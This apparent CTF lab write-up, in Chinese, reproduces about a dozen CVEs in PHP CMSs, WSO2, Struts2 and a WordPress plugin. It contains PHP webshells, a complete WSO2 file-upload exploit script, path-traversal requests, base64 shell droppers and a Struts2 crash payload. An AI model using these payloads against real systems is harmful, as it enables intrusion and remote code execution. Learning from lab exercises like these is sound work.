CVE-2022-30887
漏洞介绍:
多语言药房管理系统 (MPMS) 是用 PHP 和 MySQL 开发的, 该软件的主要目的是在药房和客户之间提供一套接口,客户是该软件的主要用户。该软件有助于为药房业务创建一个综合数据库,并根据到期、产品等各种参数提供各种报告。 该CMS中php_action/editProductImage.php存在任意文件上传漏洞,进而导致任意代码执行。
【春秋云镜 CVE-2022-30887wp】_mayuri k-CSDN博客
根据提示知道这是一个文件上传漏洞,但前面根本没有什么提示,进不去,看了师傅们的WP,发现前面需要社工,可以看看上面的WP,怎么社工得到邮箱和账号,这儿略过。。。永远不会社工
邮箱密码:
mayuri.infospace@gmail.com/mayurik
登录成功之后
进去之后,找了半天也之后这个地方能够上传文件
上传一句话木马,并抓包
GIF89a
<?php eval($POST_['123']);?>
看见了上传成功,放包
可以看见,我们已经上传上去了,复制图像链接,也就是我们上传文件的位置
使用蚁剑链接,得到flag
关于官方的POC:官方主要是构造数据包,然后上传成功后,访问shell得到flag
https://nvd.nist.gov/vuln/detail/CVE-2022-30887#match-7988813
https://packetstormsecurity.com/files/166786/Pharmacy-Management-System-1.0-Shell-Upload.html
CVE-2022-28525
漏洞介绍:
ED01-CMS v20180505 存在任意文件上传漏洞
打开环境,题目提示了是文件上传漏洞,找一找
点击其他页面,都找不到,右上角有一个登录界面,去看一看
试了试弱口令密码,登录成功
admin/admin
找到了一个文件上传的点
这儿上传不了,去看看师傅们的WP,发现上传点在这儿
我们上传一句话木马,BP抓包
上传成功,在用户里我们可以看见我们添加的用户,复制我们的图片链接,就是我们上传木马的位置
再使用蚁剑链接,得到flag
CVE-2022-29464
漏洞介绍:
WSO2文件上传漏洞(CVE-2022-29464)是Orange Tsai发现的WSO2上的严重漏洞。该漏洞是一种未经身份验证的无限制任意文件上传,允许未经身份验证的攻击者通过上传恶意JSP文件在WSO2服务器上获得RCE。
打开环境
随便输了admin/admin就登进去了,然后找了很久什么都没有找到,一点思路没有
再去看看漏洞介绍:该漏洞是一种未经身份验证的无限制任意文件上传,允许未经身份验证的攻击者通过上传恶意JSP文件在WSO2服务器上获得RCE。
JSP:JSP(JavaServer Pages)文件是一种用于创建动态网页的技术,由Sun Microsystems(现为Oracle)开发。JSP文件本质上是嵌入了Java代码的HTML文件,扩展名为“.jsp”。
第一种方法:
GITHUB上有exp攻克WSO2文件上传漏洞(CVE-2022-29464)
GitHub - hakivvi/CVE-2022-29464: WSO2 RCE (CVE-2022-29464) exploit and writeup.
源码:
import requests # 用于发送HTTP请求
import urllib3 # 用于处理HTTP库的警告
import sys # 用于访问命令行参数
# 禁用由于忽略SSL证书验证而产生的警告
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
# 检查命令行参数的数量是否为3,如果不是则提示用法信息并退出
if len(sys.argv) != 3:
print(f"Usage: python3 {sys.argv[0]} https://host shell.jsp")
exit()
# 获取命令行参数,host为目标URL,file为要上传的文件名
host, file = sys.argv[1:]
# 定义要上传的JSP Web Shell内容
shell = """<FORM>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec(cmd,null,null);
BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) { output += s+"</br>"; }
} catch(IOException e) { e.printStackTrace(); }
}
%>
<pre><%=output %></pre>"""
# 准备要上传的文件字典,其中键为文件路径,值为文件内容
# 文件路径通过路径遍历技术指向目标目录
files = {f"../../../../repository/deployment/server/webapps/authenticationendpoint/{file}": shell}
# 发送HTTP POST请求,将文件上传到指定的服务器路径
response = requests.post(f'{host}/fileupload/toolsAny', files=files, verify=False)
# 打印上传的Web Shell的访问路径
print(f"shell @ {host}/authenticationendpoint/{file}")
再python环境下运行
python3 exploit.py https://eci-2ze2ykvfn47i7pobr5im.cloudeci1.ichunqiu.com:9443/ shell.jsp
然后我们访问/authenticationendpoint/shell.jsp
ls
ls /
cat /flag
第二种方法:
我们可以使用BP抓包后修改参数,但是我复现的时候并没有成功,不知道为什么
CVE-2022-25578
漏洞介绍:
taocms v3.0.2允许攻击者通过编辑.htaccess文件执行任意代码
Taocms是一个完善支持多数据库(Sqlite/Mysql)的CMS网站内容管理系统,是国内最小且功能完善的基于php+SQLite/Mysql的CMS管理系统。该系统体积小、速度快,包含文件管理、数据采集、Memcache整合、用户管理等强大功能,且跨平台运行,支持SAE、BAE云服务,以及阿里云虚拟主机。
打开环境,一个管理员界面
点击下面的管理进入登录界面
使用BP抓包爆破登录名和密码
得到admin/tao,登录
打开文件管理,修改.htaccess文件
AddType application/x-httpd-php .jpg
然后找一个php文件,我找的是rss.php,在里面编辑一句话木马
<?php eval($_POST['shell']);?>
保存后访问rss.php
http://eci-2zedoyqdrfqlliniivvc.cloudeci1.ichunqiu.com/rss.php
shell=system('ls');
shell=system('ls /');
shell=system('cat /flag');
CVE-2022-23880
漏洞介绍:
taoCMS v3.0.2 文件管理处存在任意文件上传漏洞,攻击者可执行任意代码
打开环境,和CVE-2022-25578漏洞很像,使用CVE-2022-25578漏洞的账号密码登录成功
然后我们在文件管理这儿新建一个php文件,我新建的是shell.php
然后编辑,写入一句话木马
<?php eval($_POST['shell']);?>
保存后我们访问shell.php ,然后POST传参执行命令
shell=system('ls');
shell=system('ls /');
shell=system('cat /flag');
漏洞分析:
这个文件上传漏洞没有对任何内容进行过滤,对特殊函数也没有禁用,导致漏洞利用,在我们保存内容时,可以发现是向admin.php 直接发送请求包,然后调用action:file,我们可以去查找include/Model/file.php这个文件进行分析
可以发现,它未对数据进行过滤,所以我们直接到保存的函数上看,发现他是直接调用 file_put_contents 这个方法直接保存文件,中间没有进行其他过滤从而产生的文件上传漏洞
CVE-2022-26965
漏洞介绍:
Pluck-CMS-Pluck-4.7.16 后台RCE
打开环境
源码里发现了login.php
弱口令登录admin/admin之后进入这个界面
在language settings里更改一下语言
在options里choose theme,然后install theme(安装主题)找到上传cms主题的界面
我们去GITHUB里下载一个主题
下载完成后,进入修改一下info.php里的文件:我们需要使用
file_put_contents
函数将一句话木马<?php @eval($_POST["shell"]) ?>经过base编码,然后写入shell.php里
<?php
file_put_contents('shell.php',base64_decode('PD9waHAgc3lzdGVtKCRfR0VUWzFdKTs/Pg=='));
?>
然后把文件压缩上传
接着我们访问shell.php执行shell命令得到flag
不知道为什么,我的上传上去之后访问不了shell.php,它又显示上传成功,但就是找不到文件
CVE-2022-25401
漏洞介绍:
Cuppa CMS v1.0 administrator/templates/default/html/windows/right.php文件存在任意文件读取漏洞
打开环境后,来到一个登录界面,尝试弱密码和爆破都没用,看看提示呗,直接访问templates/default/html/windows/right.php。没有administrator/提示给的目录时错的,可以使用dirb扫描一下也可以找到正确目录
访问成功
直接kali使用curl命令直接找flag
curl -x POST "http://eci-2zeemr9kqe8357i74edg.cloudeci1.ichunqiu.com/templates/default/html/windows/right.php" -d "url=../../../../../../../../../../../../flag"
CVE-2022-25099
漏洞介绍:
WBCE CMS v1.5.2 /language/install.php 文件存在漏洞,攻击者可精心构造文件上传造成RCE
打开环境,网站正在建设中,访问登录界面/admin
使用弱密码爆破,登录admin/123456
找到这儿,在这儿进行文件上传
上传一句话木马
<?php eval($_POST[shell]);?>
上传失败,抓包看一看
改一下包
<?php
system('cat /flag');
phpinfo();
?>
上传成功
得到flag
CVE-2022-23316
漏洞介绍:
taoCMS v3.0.2 存在任意文件读取漏洞
打开环境,感觉和昨天做的题差不多吧
点击管理,进入登录界面登录admin/tao
也是成功登录进去了
点击文件管理,打算新建文件的,发现新建不了,那就打开rss.php编辑一句话木马
<?php eval($_POST['shell']);?>
保存之后再打开rss.php看,也保存不了
那就直接再管理系统里找flag了呗
再当前位置这儿输入../一层一层的找,在输到../../../的时候找到flag
点击编辑进入得到flag
CVE-2022-23906
漏洞介绍:
CMS Made Simple v2.2.15 被发现包含通过上传图片功能的远程命令执行 (RCE) 漏洞。此漏洞通过精心制作的图像文件被利用。
打开环境
访问一下/admin
找到登录界面,弱口令登录admin/123456
在网站的内容里找到了上传点
上传一句话木马的php文件
<?php eval($_POST['shell']);?>
发现上传不进去,改为1.txt文件上传
看见上传进去了,我们点击1.txt然后上边有个copy按钮,点击后,我们复制为shell.php文件
执行成功
然后我们点击shell.php访问shell.php ,执行POST传参
shell=system('ls');
shell=system('ls /');
shell=system('cat /flag');
CVE-2010-1870(复现未成功)
CVE-2010-1870 S2-005 远程代码执行漏洞-腾讯云开发者社区-腾讯云
https://www.cnblogs.com/marryZhan/archive/2012/06/29/2797288.html
Struts2漏洞分析与研究之S2-005漏洞分析_struts2check [s2-005]-CSDN博客
漏洞介绍:
struts2会将http的每个参数名解析为OGNL语句执行(可理解为java代码)。OGNL表达式通过#来访问struts的对象,struts框架通过过滤#字符防止安全问题,然而通过unicode编码(u0023)或8进制(43)即绕过了安全限制,对于S2-003漏洞,官方通过增加安全配置(禁止静态方法调用和类方法执行等)来修补,但是安全配置被绕过再次导致了漏洞,攻击者可以利用OGNL表达式将这2个选项打开
S2-005是由于官方在修补S2-003不全面导致绕过补丁造成的。我们都知道访问Ognl的上下文对象必须要使用#符号,S2-003对#号进行过滤,但是没有考虑到unicode编码情况,导致\u0023或者8进制\43绕过。S2-005则是绕过官方的安全配置(禁止静态方法调用和类方法执行),再次造成漏洞。
打开环境
看了很多师傅们的WP,发现对CVE-2010-1870漏洞理解还不是很懂,比较能理解的就是Struts2漏洞分析与研究之S2-005漏洞分析_struts2check [s2-005]-CSDN博客
这位师傅的WP了,大概思路就是我们构造payload
http://www.xxxx.com/aaa.action?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1
这个payload会让服务器崩掉
关于这个payload我们可以理解成三步
?('#_memberAccess['allowStaticMethodAccess']')(meh)=true
将_memberAccess变量中的allowStaticMethod设置为true,这里payload还要加括号,并且还带个"(meh)"呢?其实是为了遵守Ognl语法树的规则,这个后面再说。第一步完成后,就可以执行静态方法了。
&(aaa)(('#context['xwork.MethodAccessor.denyMethodExecution']=#foo')(#foo=new%20java.lang.Boolean("false")))
将上下文中的xwork.MethodAccessor.denyMethodExecution 设置为false,即允许方法的执行,这里的MehodAccessor是Struts2中规定方法/属性访问策略的类,也存在与Ognl的上下文中。同样遵守Ognl语法树规则。
&(asdf)(('#rt.exit(1)')( #rt=@java.lang.Runtime@getR untime()))=1
就是真正的攻击代码,前两步就是要保证第三步成功执行,第三步就是执行了关闭服务器的代码。但是要过调用Runtime类的静态方法获取一个Runtime对象。
剩下的还没有完全理解。。。复现失败
CVE-2022-24663
漏洞介绍:
远程代码执行漏洞,任何订阅者都可以利用该漏洞发送带有“短代码”参数设置为 PHP Everywhere 的请求,并在站点上执行任意 PHP 代码。P.S. 存在常见用户名低权限用户弱口令
打开环境
什么发现都没有,使用dirsearch扫一下后台
发现了登录界面/wp-login.php,访问
弱密码爆破,没爆出来,我也不知道了,看了师傅们的WP才知道test/test(吐槽一下,这谁能找得到)
进入之后,我们现在就是订阅者权限(低权限) 我们可以修改代码,构造exp,插入代码
<form action="http://eci-2ze2zagy68xissvu66p0.cloudeci1.ichunqiu.com/wp-admin/admin-ajax.php" method="post">
<input name="action" value="parse-media-shortcode" />
<textarea name="shortcode">[php_everywhere] <?php file_put_contents("/var/www/html/shell.php",base64_decode("PD9waHAgc3lzdGVtKCRfR0VUWydzaGVsbCddKTsgPz4=")); ?>[/php_everywhere]</textarea>
<input type="submit" value="Execute" />
</form>
下一步我们F12打开源码,然后我们去找道仪表盘下面这一块的源码(为什么是这一块我也不知道)
然后我们编辑HTML
把里面的全部删除,换上我们的代码 ,点击空白处,我们的页面就变成了这样,点击execute
页面就变成了这样,说明我们上传成功
然后我们访问shell.php执行shell语句得到flag
shell=ls
shell=ls /
shell=cat /flag
CVE-2022-25411
漏洞介绍:
MaxSite CMS是俄国MaxSite CMS开源项目的一款网站内容管理系统。马克斯程序(MaxCMS)以开源、免费、功能强大、安全健壮、性能卓越、超级易用、模板众多、插件齐全等优势,受到众多企业和站长的喜爱。马克斯程序研发团队拥有多年的技术积累和产品开发经验,成立了官方技术支持团队、官方模板团队、官方插件团队。一切立足于站长利益、孜孜不倦的挖掘站长需求、不断提升产品体验,自主创新多项特色技术、提升网站品质!独立开发的管理员管理系统,可以对管理员进行更能人性化的管理网站。 Maxsite CMS存在文件上传漏洞,攻击者可利用该漏洞通过精心制作的PHP文件执行任意代码。账户为弱口令
打开环境后
使用dirsearch扫一下,找到登录界面/login,访问
进去是一个登录界面,弱密码爆破admin/admin888
点击Админ-панель,进入界面
找到文件设置,在这儿我们需要设置允许上传PHP文件,方便我们上传一句话木马
添加PHP后缀,让它允许上传PHP文件
保存后我们找到上传界面
在这儿点击浏览上传文件,上传一句话木马文件shell.php
<?php eval($_POST['shell']);?>
显示上传成功
我们在这儿可以看见文件路径,然后访问
访问之后我们执行shell语句得到flag
shell=system('ls /');
shell=system('cat /flag');